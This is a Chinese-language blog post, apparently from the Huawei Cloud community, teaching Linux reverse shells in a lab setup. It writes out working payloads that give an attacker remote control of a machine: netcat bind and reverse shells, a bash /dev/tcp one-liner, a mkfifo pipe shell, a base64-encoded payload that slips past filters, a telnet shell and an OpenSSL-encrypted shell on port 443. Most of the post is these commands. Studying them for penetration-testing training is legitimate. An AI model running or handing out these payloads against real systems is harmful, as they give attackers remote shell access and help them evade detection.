渗透测试基础 - - -Linux反弹shell

举报
yd_217360808 发表于 2022/10/21 23:08:57 2022/10/21
【摘要】 本文章主要讲述了Linux反弹shell的各种方法及详细利用过程。

一,Shell简介

Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口。它接收用户输入的命令并把它送入内核去执行。

getshell:获取到目标的命令执行权限
webshell:网站后门,通过web服务进行命令执行
反弹shell:将命令行的输入与输出转移到其他主机

正向shell(客户端想要获得服务端的shell)

控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍

反向shell (服务端想要获得客户端的shell)

被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。

 二,Linux反弹shell

实验环境

目标机器:Ubuntu、IP:10.1.1.200、ssh账号密码root/root

攻击机器:Kali、IP:10.1.1.100

1.NC正向shell

原理:被控端(Ubuntu)使用nc将/bin/bash绑定到本地的6666端口,控制端(kali)主动连接被控端的6666端口,即可获得shell。

在Ubuntu被控端:ncat -lvvp 6666 -e /bin/bash    //监听6666端口

控制端:nc 10.1.1.200 6666  

我们输入whoami可以查看到Ubuntu中的root用户,uname -a查看系统的主机名,内核,以及硬件架构

2.NC反向shell

原理被控端使用nc将/bin/bash发送到控制端的6666端口,控制端需要监听本地的6666端口,就可以获得被控制端的shell。

控制端:nc -lvvp 6666       

被控端    ncat -e /bin/bash 10.10.1.100 6666

发现shell已经反弹到了kali中,输入下面的命令验证一下

whoami

uname -a 

3.bash反弹shell

bash -i的意思是在本地打开一个bash,/dev/tcp/相当于发出了一个socket调用,建立一个socket连接。/dev/tcp/10.1.1.100/6666意思是将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。远程控制端开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出。

控制端:nc -lvvp 6666

被控端:bash -i >& /dev/tcp/10.1.1.100/6666 0>&1   

解析:         

//     将 /dev/tcp/10.10.1.11/6666 传递的数据作为交互式shell的输入,命令执行后的结果输出到 /dev/tcp/10.10.1.11/6666

//     /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发起了一个socket调用,建立一个socket连

接,读写这个文件就相当于在这个 socket 连接中传输数据

可以看到控制端 已经获取到了shell

 4.无e参数反弹shell

原理:mkfifo 创建了一个管道,cat将管道里面的内容输出传递给/bin/bash,/bin/bash执行管道里的命令将标准输出和标准错误输出结果通过nc传输到管道,然后获得了shell。

控制端:nc -lvvp 6666 

被控端:rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc 10.1.1.100 6666 >/tmp/f

控制端已经得到了shell权限

5.Base64编码绕过

控制端:nc -lvvp 1234 

python3

import base64

a = bash -i >& /dev/tcp/10.1.1.100/1234 0>&1

b=base64.b64encode(a.encode(‘utf-8’))

print(b)  

利用python3将bash...转换为base64编码

 被控端:

bash - c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xLjEuMTAwLzEyMzQgMD4mMQ== | base64 -d|bash -i"

实质是playload组合

bash -c "echo base64加密后payload |base64 -d | bash -i"

查看控制端,已经有参数回显

6.Telnet反弹shell

控制端:nc -lvvp 5555                                      //传输命令窗口

控制端:nc -lvvp 6666                                      // 结果显示窗口

被控端: telnet 10.1.1.100 5555 | /bin/bash |telnet 10.1.1.100 6666 

 在控制端中我们两个监听的端口都得到了shell,在5555窗口输入whoami然后命令回显显示在了6666窗口

 

 7.OpenSSL反弹443端口,流量加密传输

控制端:openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes   

控制端上生成秘钥文件

控制端:openssl s_server -quiet -key key.pem -cert cert.pem -port 443  // 在控制端上启动监视器 

被控端: mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.1.1.100:443 >/tmp/s;rm /tmp/s                      //在被控端反弹shell

在监视器上得到了shell,输入whoami验证

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。